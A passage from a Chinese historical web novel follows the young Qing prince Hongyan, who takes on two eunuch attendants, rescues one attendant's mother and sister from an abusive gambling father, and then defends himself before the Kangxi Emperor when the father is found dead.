接着,乌拉那拉氏便扶着弘晏躺下,给弘晏盖好了被子,而后处罚了小叶子与王乳娘。 小叶子未落门锁当差失职,罚俸半月,王乳娘对弘晏偷吃西瓜一事浑然不知,失职失察,明明知晓弘晏踢开被子入眠而隐瞒不报,罚俸一月。 小叶子与王乳娘皆领罚认错。 弘晏嗫嚅着嘴唇,想要替小叶子和王乳娘求情又不知从何开口。 主子出事,就是奴才无用无能。 他今日方才真正明白了。 第104章 第104章过人之处 在药物的作用下,弘晏很快便睡着了,醒来后肚子饥饿的紧,乌拉那拉氏差流萤端来了山药小米粥。 待到黄昏时分,胤禛下值回府便直接来了正院,方才知晓白日发生的事情。 昨日还活力满满的小奶团子,今日却小脸煞白满是憔悴的趴在小榻上,胤禛很是心疼,却又有些无奈。 小家伙为了吃西瓜煞费苦心,到头来却是折腾了自己。 很快,流萤与银烛将晚膳摆上了八仙桌,那么多的大鱼大肉,弘晏可怜巴巴的瞧着,却只能继续喝米粥。 吃完米粥,弘晏又服下一碗黑乎乎的药汤。 胤禛陪了会儿弘晏,便起身去前院书房处理公务去了,而弘晏伸出手晃了晃乌拉那拉氏的袖子:“额娘,我知道错了,我想留下来和你一起睡觉。” 乌拉那拉氏直接将弘晏抱到了怀里,贴了贴弘晏的小脸儿,柔声道:“额娘都知道的,你病了,额娘怎么放心还叫你去耳房睡。” 弘晏闻言,眨了眨眼睛,鼻子一酸,小脑袋又往乌拉那拉氏怀里蹭了蹭。 呜呜,额娘真好! 就这样,乌拉那拉氏精心照顾了弘晏两三日,弘晏终于痊愈了,只是这一病,弘晏那小脸蛋儿上的嫩肉倒是消瘦了些。 乌拉那拉氏是希望弘晏苗条些,但绝对不是以这种形式。 吃了几天流食,乌拉那拉氏知晓弘晏定然嘴馋了,便吩咐小厨房做了一碗热乎乎的荠菜小馄饨给弘晏吃。 弘晏一口一个小馄饨,吃得很是满足。 一旁的乌拉那拉氏见状,出声提醒道:“慢些吃,别烫着。” 为了弘晏的身体着想,乌拉那拉氏决定今年的夏天,弘晏可以吃解暑的瓜果,但绝不能再吃冰镇过的了。 弘晏对此,也没什么意见。 拉肚子实在是太难受了! 弘晏的胃口一向很好,没多少日子就将自己的脸颊肉养了回来,而胤禛趁着下值早,便带着弘晏去京郊的马场骑马,也是为了让弘晏活动活动筋骨。 养马太监牵着追风走过来,弘晏迫不及待的摸了摸追风,忽闪着眼睛说道:“追风,还认得我吗?” 追风看向了弘晏。 一人一马一对视,弘晏笑得更开怀了:“追风,我就知道你还认得我。” 虽然有些日子没来了,但胤禛教的方法弘晏还记在心里,翻身上马之后,弘晏手握着缰绳带着追风在马场上慢悠悠的溜了一圈之后,便可以慢跑起来了。 慢跑完一圈,马背上的弘晏停在了胤禛面前,冲着胤禛骄傲的扬了扬小脸蛋儿。 夕阳的余光正好洒落在弘晏的侧脸上,更映得弘晏的眼眸璀璨明亮。 胤禛勾了勾唇角,出声夸道:“福宝,今日骑的很不错。” 弘晏不忘礼尚往来的回一句:“嘿嘿,阿玛教的好。” 话说完,弘晏又低头摸了摸追风的脸颊:“追风也配合的好。” 追风则安静的享受着弘晏爱的抚摸。 末了,胤禛带着弘晏给追风喂完草料之后,便带着弘晏坐马车回府去了。 酷热的夏日过去,凉爽的秋天来临,这日,正院的奴才们正在清扫院子里的落叶,而弘晏午睡醒后来到正屋里,却瞧见了两张生面孔。 乌拉那拉氏笑着解释道:“福宝,这两个小太监是额娘亲自挑选的,他们二人以后同王乳娘一起照顾你的起居。” 过了年,弘晏满六岁就该搬去前院读书了,王乳娘就不能再贴身照顾了,乌拉那拉氏早早的便寻摸起合适的小太监来,到了明年春天也好放心有妥帖的人近身照料弘晏。 乌拉那拉氏的话音落下,弘晏转而看向了面前站着的两个小太监。 两个小太监一同打千儿道:“奴才给六阿哥请安。” 弘晏晃悠着两条小短腿:“都起来吧,你们叫什么名字?” “回六阿哥的话,奴才石泉。” 讲话的是左边的小太监,脸颊清瘦,今年十四岁。 弘晏又问道:“是哪两个字?” “禀六阿哥,“石头’的‘石’,‘泉水’的‘泉’。” 弘晏点了点小脑袋,转而又看向右边的小太监。 小太监立马出声道:“奴才田龟,‘田地’的‘田’,‘大乌龟’的‘龟’。” 田龟是个圆脸的小太监,今年十五岁。 这话一出口,可是逗笑了弘晏:“怎么取这么个名字?” 不像人名,倒像是乌龟的一种品种。 那田龟开口解释:“回阿哥的话,奴才家贫,爹娘取个贱名儿图个好养活。” 弘晏听了这话,便不再笑了,一张小脸转而变得严肃。 是啊,若不是家里贫苦没有活路,又哪里能舍得让孩子当太监呢。 弘晏掩下思绪,抬头问:“我给你改个名字,如何?” 田龟闻言,立马跪在地上:“能得阿哥赐名,是奴才几辈子修来的福气。” 弘晏歪着脑袋想了想:“叫‘田玉’如何?‘金玉’的‘玉’。” 那小太监立马叩头道:“奴才田玉,谢六阿哥赐名。” 弘晏笑道:“快起来吧。” 待田玉起身后,弘晏又问道:“你们可有什么长处?” 能入他额娘乌拉那拉氏的眼,想必是有什么过人之处的。 石泉闻言,出声道:“禀阿哥,奴才不才,只会翻几个跟头罢了。” 弘晏的眼睛瞬间就亮了。 石泉怕翻起跟头来碰撞了屋子里的摆设,便想出去给弘晏展示一番,弘晏自然是乐意的,便直接蹦下小榻到廊下看着。 只见石泉长立在院子里的青石砖上,助跑两步后便连着来了好几个后宫翻,动作标准、身姿轻盈。 弘晏忍不住拍手叫好。 这时,石泉打千儿道:“奴才雕虫小技,在阿哥面前献丑了。” 弘晏知晓这是石泉的自谦之词,便叫人起身了。 一旁的田玉紧接着开口道:“六阿哥,奴才没有石泉的好身手,只会打个快板罢了。” 快板?! 弘晏坐回到檀木小榻上,边吃着蜜饯边欣赏了一场精彩的快板表演。 弘晏对乌拉那拉氏给自己选的两个小太监十分满意,遂开口吩咐道:“一会儿我要去前院书房找阿玛下棋,石泉你陪我去,田玉,明日换你陪我去。” 两个小太监应声。 一盏茶后,弘晏便带着石泉从正院出发往前院书房去了。 半路上,弘晏好似听到有小鸟的叫声,很近又很微弱,弘晏停了脚下的步子,问道:“石泉,你听到有鸟叫声了吗?” 石泉闻言,沉下心来认真倾听了片刻:“回阿哥,的确有鸟叫,好像是从草丛里发出来的。” 石泉说着话,抬手指了一下左边的草丛。 弘晏见石泉与他的判断一致,便改步迈进了草丛,用双手拨开后,映入眼帘的是一个鸟窝。 鸟窝里有四个鸟蛋,还有一个像是刚破壳而出的幼鸟,因着嗷嗷待哺却又不会飞,所以才发出的微弱叫声。 “阿哥,你瞧。”石泉抬手指给弘晏看。 弘晏顺着石泉抬高的手看去,是一颗高大的银杏树。 石泉猜测道:“阿哥,许是昨日风大,这鸟窝被刮了下来。” 弘晏点了点小脑袋,随即又听见了那只幼鸟发出的有些凄厉的叫声。 鸟窝里有鸟蛋和刚孵化的幼鸟,却不见雌鸟的踪影,想来定然是飞出去觅食去了,若是雌鸟回来不见自己的孩子,定然会着急的。 弘晏扭脸问向石泉:“石泉,你会爬树吗?” 他刚刚见识过石泉的后空翻,知道石泉是有些身手的,可这银杏树这么高,他还是有些担忧的。 而石泉听了这话,自然明白弘晏的心思,遂出声道:“奴才三岁起便会爬树了,定会将这鸟窝安安稳稳的放回去,阿哥放心。” 弘晏听了这话,点了点小脑袋:“那你小心些。” 弘晏嘱咐完石泉,便将位置让出来了。 只见石泉弯下腰,伸出左手托起了地上的鸟窝,而后站直了身子走到树下,右手扶上银杏树的树腰,两只脚用力向上一登,便上了树。 一旁的弘晏瞧着石泉灵活的腿脚在那树腰上缠绕着向上攀爬,很快便到了高处。 少顷,石泉便稳稳地落了地。 “阿哥,奴才已然将鸟窝安稳的放在了隐蔽处,就算再刮风也不会掉下来了。”石泉颔首禀报。 弘晏点了点小脑袋,眼睛却发现石泉的身上因爬树而沾上了银杏叶子和尘土,便想要伸手给石泉拍去。 而石泉注意到这一点之后,赶忙后退一步道:“不劳阿哥,奴才自己来。” 弘晏见状,便将伸在半空的手收回去了。 主仆二人继续向前院书房的方向走去,弘晏好奇问道:“石泉,你功夫好,可是拜师学过吗?” 石泉跟在弘晏身后,边走边回道:“奴才家里没有银子请师傅学武,只是幼时学过几招杂耍。” 杂耍? 他之前跟便宜阿玛坐马车出门时见过的,就是在大街上卖艺的营生,诸如胸口碎大石、用脚顶缸一类的。 弘晏接着问:“那怎么不学了?” 好歹也是一门养家糊口的手艺。 石泉答道:“一场杂耍下来,看客打赏的银子等班主和师兄们分完,到奴才手里就没几个钱了。” 弘晏这便明白了,遂看向石泉,抬手拍了拍自己的小胸膛,言道:“现在你跟了我,只要你得力,我不会亏待你的。” 石泉笑了:“阿哥心善,能服侍阿哥,是奴才的福气。” 主仆二人你一言我一语的聊着,很快就到了前院的书房,弘晏迈步进去,而石泉便在廊下等着。 两局棋过后,弘晏哭丧着小脸,撅嘴道:“又输了。” 连输两局不说,他输得速度也太快太惨了吧。 胤禛见状,勾了勾唇角:“你才学了多久的棋,若是轻而易举的就赢了我,阿玛这些年的棋岂不是白下了?” 那倒是。 弘晏重整旗鼓,很快又和胤禛开始了第三局的对弈。 第105章 第105章是非善恶 夜深了,耳房内的弘晏已然有了些许困意,瞧着面前矮桌上的白瓷碟子里还剩下四块孙泥额芬白糕,便抬眼道:“田玉,石泉,你们一人两块分吃了吧。” 田玉与石泉相视一眼,有些迟疑。 弘晏见状,笑嘿嘿道:“就当是我赏给你们的。” 弘晏说完,左右手分别拿了两块孙泥额芬白糕要递给田玉与石泉。 田玉与石泉这才迈步上前,伸出双手接过了弘晏手中的孙泥额芬白糕。 “多谢阿哥赏。”田玉笑眯眯的说完,便咬了一口手里的孙泥额芬白糕。 而石泉盯着自己手里的两块孙泥额芬白糕看了会儿,转而从袖子里掏出一块粗布包起来。 弘晏瞧见了石泉的举动,有些疑惑:“石泉,你怎么不吃啊?” 石泉赶忙颔首道:“回阿哥的话,奴才如今不饿,留着饿了吃。” 弘晏点了点小脑袋,没再多说什么。 田玉已然吃完了那两块孙泥额芬白糕,对着小榻上的弘晏说道:“阿哥,奴才伺候您就寝吧。” 今夜正是田玉当值。 “好。”弘晏说着,从檀木小榻上蹦了下来。 他的确有些困倦了。 —— 深秋的景色是萧瑟了些,不过弘晏在这样的景色里荡着秋千倒是别有一番滋味。 石泉昨日向他告假回家探亲还没有回来,弘晏玩累了秋千,便在秋千椅上晃悠着小短腿听田玉讲一些民间的小趣事。 不多时,银烛从屋子里走了出来,笑吟吟道:“阿哥, 桂花小圆子做好了。” 弘晏闻言,便看向田玉:“你也下去喝水歇歇吧。” 弘晏嘱咐完田玉,便下了秋千椅,蹦蹦跳跳的进屋去了。 弘晏刚坐上檀木小榻,流萤便将桂花小圆子端上来了。 弘晏拿着调羹舀了一个小圆子吹了吹,方才送进嘴里。 一个小圆子吃完,弘晏倒是想起了什么,遂问向坐在对面的乌拉那拉氏:“额娘,我什么时候才可以吃桂花酒酿小圆子啊?” 他早就听弘昼说了,加了酒酿的桂花小圆子更加美味。 乌拉那拉氏闻言,只道:“等你再大些。” “好吧。”弘晏鼓了鼓嘴,继续吃面前的桂花小圆子。 乌拉那拉氏温柔的瞧着努力干饭的弘晏。 田玉与石泉到弘晏身边伺候也有一个月的时间了,乌拉那拉氏一直留心观察着,这两个小太监伶俐能干,最重要的是弘晏也喜欢他们二人,届时弘晏搬去了前院读书,她也能放心了。 另一边,田玉回房喝口水歇息片刻,便打算去正屋侯着了。 小主子让他休息,他哪里能真的躺着什么都不干呢。 田玉出了屋子,刚走出几步远,便瞧见石泉急匆匆的迎面走过来。 “石泉,你可算回来了,阿哥总念叨你呢。”田玉笑呵呵的说道。 石泉没接话茬,直接拉着田玉走到了墙角处。 田玉见石泉脸色不对,也敛了笑容:“石泉,可是家里出什么事儿了?” 石泉硬着头皮张口:“田玉,你手头可还宽裕?借些银子给我应应急。” 田玉听了这话,二话没说就将自己身上的钱袋给了石泉。 石泉接过钱袋打开看了看里面的数额,那亮起来的眸子转而又暗了下去。 田玉注意到石泉的表情变化,迟疑问道:“怎么?还不够?” 石泉点了点头。 田玉见状,只道:“府里的月俸一发,你就补贴给了家里,阿哥平日赏你蜜饯点心什么的,你也攒着送回家里,你家里不是有几亩薄田吗?怎么这般缺银子?” 田玉的为人,石泉自然信得过,便也不再隐瞒什么了:“我那不成器的爹欠了赌债,凑不够二十两银子,他就要把我妹妹卖进窑/子里去。” 石泉说这话时握紧了双拳,眼睛里满是憎恶,嘴唇颤抖着,可语气里却又含着无可奈何。 田玉惊诧道:“二十两?这一时半会儿的哪里凑得齐。” 石泉将钱袋塞进怀里:“我再想想法子,劳你帮我给阿哥再告个假,等事情了了,我回来给阿哥请罪。” 石泉的话提到了弘晏,这倒是提醒了田玉,田玉看向石泉出主意道:“石泉,要不你去求求阿哥,阿哥心肠好,说不定就答应了,也好解了你眼下的困境。” 大家都是做奴才的,石泉的法子左不过是再找旁人借借罢了。 石泉连连摇头:“不行,我怎么能叨扰阿哥,田玉,别忘了替我跟阿哥说一声。” 石泉说完,迈开步子就要往外走,一抬眸却瞧见了一脸严肃的弘晏。 石泉一愣,遂打千儿道:“阿哥,奴才给阿哥请安。” 弘晏看着石泉,出声道:“石泉,你该早些告诉我的。” 他在屋子里吃完了桂花小圆子,本想出来寻田玉讲那未讲完的故事,却不想正好瞧见石泉拉扯着田玉往墙角去了,他一时好奇,便跟了过来。 石泉嗫嚅着嘴唇:“阿哥……奴才不敢污了阿哥的耳朵。” 看来六阿哥是都听见了。 “先起来吧。”弘晏说完,又道:“这回你凑够了银两,下次他再欠了赌债,你该如何?” 赌徒哪里有收手的时候。 石泉答道:“阿哥所言奴才都明白,可奴才也没法子啊,若是不往家里拿银子,奴才的娘与妹妹便要受苦了。” 儿子哪里能管住当老子的。 若非如此,他也不会净身做了太监。 弘晏顿了顿,只道:“你们跟我来。” 田玉与石泉跟着弘晏走到了石阶前便停下了,弘晏进了正屋将事情告诉了乌拉那拉氏。 乌拉那拉氏问道:“福宝想怎么做?” 弘晏一脸正义:“当然是将石泉的娘和妹妹解救出来,再将那赌鬼痛打一顿。” 乌拉那拉氏点了点头:“那就叫下面的人去做吧。” 弘晏的法子倒是比她想象中的要深一些。 弘晏摇了摇脑袋:“额娘,我要亲自带人去。” 乌拉那拉氏想也不想就拒绝了:“那可不行。” 弘晏见状,便开始拉着乌拉那拉氏的胳膊撒娇:“额娘,让我去嘛,我想亲眼看看这人世间的是非善恶,瞧一瞧豺狼虎豹。” 一直以来,他都被乌拉那拉氏和胤禛保护的很好,他想要瞧瞧太阳未照耀到的阴暗面是何模样。 乌拉那拉氏被弘晏磨的没有办法,只好松了口,但是弘晏必须带够人手,保证人身安全才行。 弘晏连连点头。 这厢,弘晏带着田玉和石泉到了前院,找高无庸点了四个身手好的护卫,又让护卫们换上便装,才坐上没有雍亲王府徽记的普通马车出了门。 石泉的家在顺天府下辖的大兴县中的一个偏僻村子里。 “阿哥,过了前面那棵枣子树,便是奴才的家了。” 石泉的话音落下,弘晏掀开马车帘子瞧了瞧,便命人将马车停在了那棵枣子树下。 弘晏下了马车后,石泉便给弘晏带路进去。 弘晏一行人刚行至门外,便听到了里面传来的叫喊声:“娘,救命啊!” 紧接着响起的便是碗筷摔落的声音。 石泉一听这话,变了脸色,立马冲进去。 而门外的弘晏瞧见的便是家徒四壁的屋子里,一个凶神恶煞的男人正拿着皮鞭抽打着一对瘦弱的母女。 石泉展开双臂挡在那对母女身前,喝道:“你干什么!” 那男人见状,咧着嘴笑问:“回来了,银子呢?” 石泉皱眉:“你又喝酒了?” 那男人脸上流露出不耐的神情:“我问你银子呢?” 石泉喊道:“家里的田和牛都被你变卖了,我的月俸,娘和妹妹给人缝补衣裳挣来的银子都给了你,你还要银子!” 那男人又握紧了皮鞭:“儿子孝敬爹,那是天经地义的事儿,你没银子就闪开,我把这丫头卖到窑/子里去,还能换些银两。” 话说着,那男人又要挥起皮鞭,石泉上前去抢夺却被那男人推倒在地上。 那母女俩见状,喊道:“泉儿/哥哥!” “不孝的东西,还敢跟你老子动手。”那男人怒目圆睁,说着手里的皮鞭就朝着石泉身上打去。 弘晏哪里还忍得住,冲进来喝道:“住手!” 那男人凶狠的呲着牙:“哪里来的毛都没长齐的小崽子,敢管老子的闲事,还不快滚。” “滚”字的尾音还没有落地,那男人就被弘晏带来的护卫何进一脚踹翻在地。 那男人闷哼一声,嘴角出血吐出一颗牙来。 何进朗声道:“放肆,六阿哥在此。” 而那母女俩赶忙扶着石泉起来,又急着参见弘晏。 弘晏抬手:“不必多礼了。” 那男人挣扎着起身,挤出笑脸道:“六阿哥,草民石用有眼不识泰山,惊吓六阿哥了,不知六阿哥此番来是……” 弘晏缓缓开口:“王府里缺几个做事的人,我瞧着她们母女就不错。” 那男人赔着笑脸:“六阿哥能瞧上她们母女,是她们母女几辈子修来的福气,我这就替她们母女签下卖身契。” 卖进雍亲王府,可比卖进窑/子里的好处多。 弘晏问道:“哦?你想卖多少银子?” 那男人笑呵呵的开口:“一百两银子。” 弘晏掀了掀嘴角。 真是掉到钱眼里了。 “六阿哥,您别嫌贵,我这老婆子是不值什么钱,可我这女儿精心养了十二年是细皮嫩肉的,长的也标志,现在是清瘦了些,您带些回去养些日子,将来给您当个暖床丫头也是……” 弘晏哪里还听得下去:“呸,何进。” 弘晏一声令下,何进一个高抬腿,那男人立刻飞到了桌上又滚落到了地上。 “卖妻卖女的无耻之徒,何进,给我好好教训他。”弘晏咒骂道。 这厮哪里还有半分人性。 何进颔首:“嗻。” 不多时,那男人被打的鼻青脸肿,哭喊道:“六阿哥,草民再不敢了,石泉,你就眼睁睁看着你老子被打/死啊。” 石泉冷冷道:“从你决心要卖我妹妹的那一刻起,你就不再是我爹了。” 弘晏见何进等人打的差不多了,便喊了停:“你 听好了,从今日起她们母女便是我雍亲王府的人,与你这泼皮无赖再无半分关系。” 弘晏说完,便带着人潇洒离开。 等回到了雍亲王府,弘晏命人带着母女二人去沐浴更衣,又叫柳从南医治了她们身上的伤,再叫厨房准备了一桌丰盛的饭。 等她们吃饱喝足之后,弘晏安排了这对母女的去处。 周氏会缝补衣裳针线不错,便去针线房做事,石蕊年纪还小,就去膳房跟着婆子们学做点心,到了晚上母女二人便同府里其他人一样住到后罩房里去,每月也都有月俸可领。 这厢,石泉带着周氏与石蕊一同跪在地上,磕头道:“阿哥对奴才一家有大恩,阿哥若有令,奴才就是赴汤蹈火,也在所不辞。” 弘晏抬手:“好了,快起来吧。” 第106章 第106章当面对质 弘晏今日做了一件惩恶扬善的好事,心情美丽的不行,恰好今日胤禛下值的也早,弘晏给乌拉那拉氏讲完一遍后,就又兴冲冲的给胤禛讲了一遍。 胤禛听罢,自然是夸奖弘晏能干。 到了晚上,弘晏回了耳房,又问起了田玉:“你家中可还有什么人吗?” 若是田玉家中也不宽裕,他也可以再帮忙做些什么。 田玉只道:“回阿哥,奴才的爹娘过世好几年了,奴才再没旁的亲人了。” 弘晏忽闪着眼睛,“哦”了一声后,赶忙闭了口。 他误提到田玉的伤心事了。 田玉心宽看得开,如今瞧着小主子眉宇间的神色好似在替自己惋惜,情绪也有些低落,便笑着开口:“奴才今晚再给阿哥讲个新鲜的趣事,阿哥可想听?” 弘晏点了点小脑袋,而后平躺在拔步床上给自己盖好了被子。 而田玉盘腿坐在拔步床旁的脚踏上,清了清嗓子,娓娓道来。 弘晏听着故事,渐渐有了困意,阖上眼眸进入了甜美的梦乡。 第二日清晨,弘晏睡醒后从拔步床上坐起来,抬起双臂伸了一个大大的懒腰。 昨晚他听着田玉讲故事,不知不觉就睡着了,都忘了田玉讲到哪里了,不过没关系,等今天晚上睡觉的时候,可以让田玉接着给他讲完。 弘晏被石泉伺候着穿衣洗漱完之后,就去了正屋陪乌拉那拉氏用早膳,又坐在小榻上背了会儿书,便到院子里去,和田玉、石泉一起踢毽子玩。 毽子这东西看着简单,一上脚可就难了。 弘晏只向上踢了一下,那毽子要落下来时便朝着东南西北四个方向乱飞,他的脚丫子压根接不住。 而田玉却能一连踢上十几个,那毽子就跟长在他脚上似的,田玉要往哪里踢,毽子就往哪里落。 石泉踢毽子的功夫虽然不如田玉那么厉害,可也能一口气踢上五六个。 弘晏便是三人中垫底的了。 到目前为止,他只成功的连踢了两个。 田玉见状,便提议道:“阿哥,不若咱们换个玩法,围成一个圈,一个人踢完,下一个人就接上,不能让毽子落地,如何?” 田玉觉得这样玩起来的话,弘晏要比一口气连着踢上好几个要容易些。 弘晏听罢,点了点小脑袋。 换个玩法也好,大家一起踢才更有意思。 田玉将毽子向上一抛,那脚立马就跟了上去,毽子快要落下时再次高高飞起来,而石泉瞄准了那在空中快速降落的毽子,抬脚去接还往弘晏所在的方向送了送。 此时的弘晏全神贯注,信心十足的抬起了脚,而那毽子正好与弘晏的脚尖擦肩而过,“啪嗒”一声落在了地上。 总归还是慢了一步。 田玉见状,大脑飞速运转,笑嘿嘿道:“阿哥,起风了,这毽子都给吹跑了。” 石泉忙接过话茬:“是啊,阿哥,要不奴才给您端碗牛乳来,您回房歇一会儿。” 面对田玉和石泉搭过来的台阶,弘晏还是很乐意下的,点了点小脑袋后,便迈步进了屋子。 人嘛,总得有点儿短板,不然多没意思啊! 午睡过后,弘晏本想着去前院书房找胤禛下棋,却见银烛急忙忙的跑进来:“福晋,不好了!” 乌拉那拉氏将手中的茶盏放下,问道:“又出什么事了?” 银烛喘着粗气:“石泉的爹死了,也不知御史从何处得知了此事,竟参到了御前,说咱们王爷教子不严、纵子行凶、残害无辜百姓。” 弘晏当即蹦下了小榻:“怎么可能,昨日我走时他还活着呢。” 流萤闻言,开口道:“就算人死了,按照规矩也该是大兴县的知县审查,大兴县办不了,上头还有顺天府,怎么案子就直接到皇上那里去了。” 银烛又道:“还不都是那多事的御史,说这人命牵连了咱们雍亲王府,事关皇家的威仪与颜面,便直接越过了大兴县和顺天府呈到了御前。” 弘晏抬眼问:“阿玛知道了吗?” 银烛赶忙禀道:“宫里来了人,要召王爷到御前问话呢。” 弘晏闻言,迈开步子就要往外走。 乌拉那拉氏见状,赶忙唤道:“福宝,站住。” 弘晏转过身子看向乌拉那拉氏:“额娘,这件事因我而起,要问话自然该问我。” 乌拉那拉氏走到弘晏面前,开口解释道:“你阿玛是雍亲王府的主子,出了事自然是要先问他,有你阿玛在,不会有事的,你先安心等着消息。” 弘晏摇摇头:“额娘,这里面有猫腻,我要进宫向皇玛法说个清楚。” 昨日他才带着人教训了石用,今日石用就死了,御史还告到了御前,看来是有人一直在暗处盯着他们雍亲王府,要拿这件事大做文章。 他没做过的事,就算到了御前对质他也不怕。 乌拉那拉氏态度坚决:“福宝,听额娘的话。” “额娘,我不要当缩头乌龟。”弘晏说完话,就撒开腿跑了。 乌拉那拉氏见状,只好追着弘晏一同往前院去。 弘晏到前院时,正好瞧见胤禛迈步往外走:“阿玛,阿玛!” 胤禛停了脚下的步子,扭脸看向哒哒跑过来的弘晏:“福宝,你来做什么?” 弘晏在胤禛面前停下:“阿玛,我要跟你一起进宫去。” 胤禛颦眉:“胡闹!” 乌拉那拉氏跟着劝道:“福宝,快跟额娘回去吧。” 弘晏目光坚定的看着胤禛,说出来的话掷地有声:“阿玛,男子汉大丈夫敢作敢当,我没有害死人,我又为何要躲起来,我要和你一起进宫去,让那劳什子御史还我清白。” 胤禛听罢,问道:“当真要去?” 弘晏坚定的点了点头。 乌拉那拉氏见胤禛要松口,便想开口劝:“爷……” 不待乌拉那拉氏说完,胤禛便道:“福宝想要见识外面的风浪,那便一起去吧。” 胤禛说完,又看向了乌拉那拉氏:“有爷在,且安心。” 乌拉那拉氏无奈的目送父子二人坐上马车远去。 去往皇宫的马车上,弘晏看向胤禛:“阿玛,等到了乾清宫,我会自证清白,若是我辩不过,你再来帮我。” 他倒要瞧瞧,那御史是何许人也。 胤禛揉了揉弘晏的小脑袋:“好。” 到了乾清宫内,康熙看到弘晏时,有些意外:“福宝,你怎么也来了?” 弘晏规规矩矩的回道:“皇玛法,此事与孙儿有关,孙儿自然要来。” 康熙点了点头。 此时,立在堂上身穿官服之人作揖道:“御史杨崇远见过雍亲王、弘晏阿哥。” 弘晏抬眼,才瞧清了这面前的御史,四十多岁的年纪,一双眼睛倒是犀利的很。 弘晏开门见山:“杨御史,你说我命人打死了石用,可有证据?” 杨崇远答道:“自然有,还请皇上传证人上殿。” 康熙看向梁九功,梁九功开口传证人上殿。 少顷,一个身穿粗布衣裳的中年女子走了进来,“扑通”一声跪在地上,身子直打哆嗦,声音里都是颤抖:“民……民妇胡严氏参见皇上,皇上万岁万万岁。” 梁九功开口道:“胡严氏,皇上面前,你抖什么?” 胡氏低着脑袋:“回公公的话,民妇第一次进宫见到龙颜,自然……自然有些害怕。” 康熙开了口:“你不必怕,将你所知细细道来。” “是,民妇与那石用一家是一墙之隔的邻居,昨日在家中时听到有抽皮鞭的声音,本也没多在意,可没过多久,便听到有人破门而入,说是什么‘雍亲王府的六阿哥’,接着就听见了石用的哀嚎声,民妇胆小不敢出门,生怕冲撞了贵人,今日午时做饭,本是想去借些盐来,却不想 瞧见了一群老鼠在啃食石用的尸/体,可是将民妇吓坏了。” 等胡严氏说完,杨崇远又道:“皇上,微臣已然命仵作验尸。” 验尸结果已然夹在了呈给康熙的奏折中,康熙只道:“传仵作。” 少顷,仵作进门请安:“皇上,经过奴才的检验,石用身上满是伤痕,却无利器之伤,应是生前被几人同时用拳脚殴打至死。” 待仵作说完,弘晏看向杨崇远:“杨御史,你身在京城,是如何得知大兴县一个偏僻村子出了人命。” 杨崇远答道:“微臣今早收到一封匿名书信,上面写明了此事,百姓无辜被害,微臣身为御史,自然应当核实一番。” 弘晏转而看向胡严氏:“胡严氏,我问你几个问题,你可要如实回答。” 那胡严氏答道:“阿哥爷请问就是。” 弘晏开口问:“你方才说昨日听到了石用家里发出抽皮鞭的声音,却未多想,是为何?” 胡严氏答道:“回阿哥爷的话,那石用好赌,喝了酒输了银子就时常打骂妻女,民妇自是习以为常了。” 弘晏又问:“胡严氏,你方才所言都道是亲耳听见的,也就是说你昨日都未曾去过石用家,也未亲眼见过我,你既然怕惹事,为何今日午时又有胆子去石用家借盐,还敢来御前做人证?” 胡严氏闻言,顿了顿,答道:“阿哥爷,我只以为石用是招惹了贵人,贵人揍他一顿出出气罢了,大家都是邻居,借盐借米的事儿常有,不算什么稀罕事,石用他死的凄惨,我也是不忍心啊。” 杨崇远冷冷道:“六阿哥,堂上有人证、又有仵作验尸的结果,你还有何话可说?” 弘晏气定神闲道:“杨御史,皇玛法还没问话,你就这么急着将我定罪?” 第107章 第107章狗咬狗了 杨崇远意识到了自己的态度有些急躁生硬,方拱手道:“微臣不敢。” 康熙看向弘晏,语气温和:“福宝,你昨日可真去过石用家里吗?” 弘晏望着端坐在御案后的康熙,回道:“皇玛法,孙儿的确去了,不过孙儿是为了救人。” 康熙疑惑:“救人?” 弘晏点头道:“对,还请皇玛法传我的证人上殿。” 随即,石泉、周氏、石蕊与何进都进了大殿。 弘晏看向石泉,言道:“石泉,你将昨日之事细细将来。” “嗻。” 待石泉讲完了昨日事情的经过,何进又做了补充:“皇上,阿哥命奴才动手只为教训石用,让他不敢再欺辱周氏母女,奴才的拳脚也并未伤及石用要害。” 何进说完,周氏母女便将胳膊上的伤痕露出。 弘晏又开口道:“皇玛法,您都听到看到了,那石用是个赌徒无赖,孙儿分明是在做好事。” 杨崇远闻言,反驳道:“六阿哥,石用虽私德不检,但我大清自有官府衙门王法条律来惩治,六阿哥岂可倚仗权势,动用死刑打死百姓。” 弘晏有些无语的看向杨崇远,摊手道:“杨御史莫不是耳背,没听清石泉和何进所言,我伸张正义倒成了倚仗权势,你的意思是我仗着皇玛法的疼爱才为非作歹了?” 杨崇远连忙跪下:“微臣不敢,六阿哥,你莫要胡乱给微臣扣上罪名,你与你的手下分明都承认动了手,如今却避重就轻,道是绿林英雄之举,实在难以服众。” 弘晏扬着小脸:“石用欠下赌债,要把女儿卖进青楼还债,我若不知晓便罢,既然知晓了又岂能眼睁睁看着石蕊跳进火坑。” 杨崇远清了清嗓子,回道:“六阿哥是一片好心,但到底刚刚启蒙尚不懂人伦纲常,救下周氏母女本是好事一桩,但不该责令手下动手打人,而石泉身为人子,眼睁睁瞧着亲父挨打却无动于衷,还扬言断绝父子之情实属大逆不道。” 弘晏都气笑了:“若杨御史是石泉,当如何?” 杨崇远挺了挺腰杆儿:“自然是先行规劝之言,若规劝无果再筹银还债,日后慢慢帮父改正陋习,若父不听执意要卖女换银,就到大兴府衙递上一张诉状。” 弘晏朗声道:“杨御史口口声声为民做主,却不知民间疾苦,二十两银子的债对于贫穷之家,那便是滔天大祸,赌徒眼里只有金钱,哪里还有道义,若是等石用将女儿卖进青楼,石泉再去报官,一切就都晚了。” 杨崇远哼道:“依阿哥所言,我大清的府衙都成了摆设不成?” 弘晏的眼睛直勾勾盯着杨崇远:“杨御史方才还讲人伦纲常,那便是男为尊,女为卑,父为尊,子为卑,难道石泉到大兴府衙状告亲父就不是大逆不道了吗?” 杨崇远没有想到弘晏会用他自己的话来反驳自己,一时语塞:“这……” 而沉默已久的胤禛,此时缓缓开了口:“依大清律例,子告父,属大不孝,父无罪,子当判绞,父有罪,子当杖责一百,收押三年。” 弘晏闻言,顺着胤禛的思路往下说:“就是石泉护妹心切,甘愿受罚,上了公堂,告了亲父,可石蕊才十二岁,她进了青楼名誉已然全毁,杨御史叫她如何在世间存活?” 此时的周氏母子三人已然哭成了泪人。 杨崇远的大脑飞速运转:“这……石用纵然罪有应得,可六阿哥命手下将人打/死也是抵赖不得的。” 弘晏忽闪着眼睛,这劳什子御史说不过他,就又开始攀咬他了。 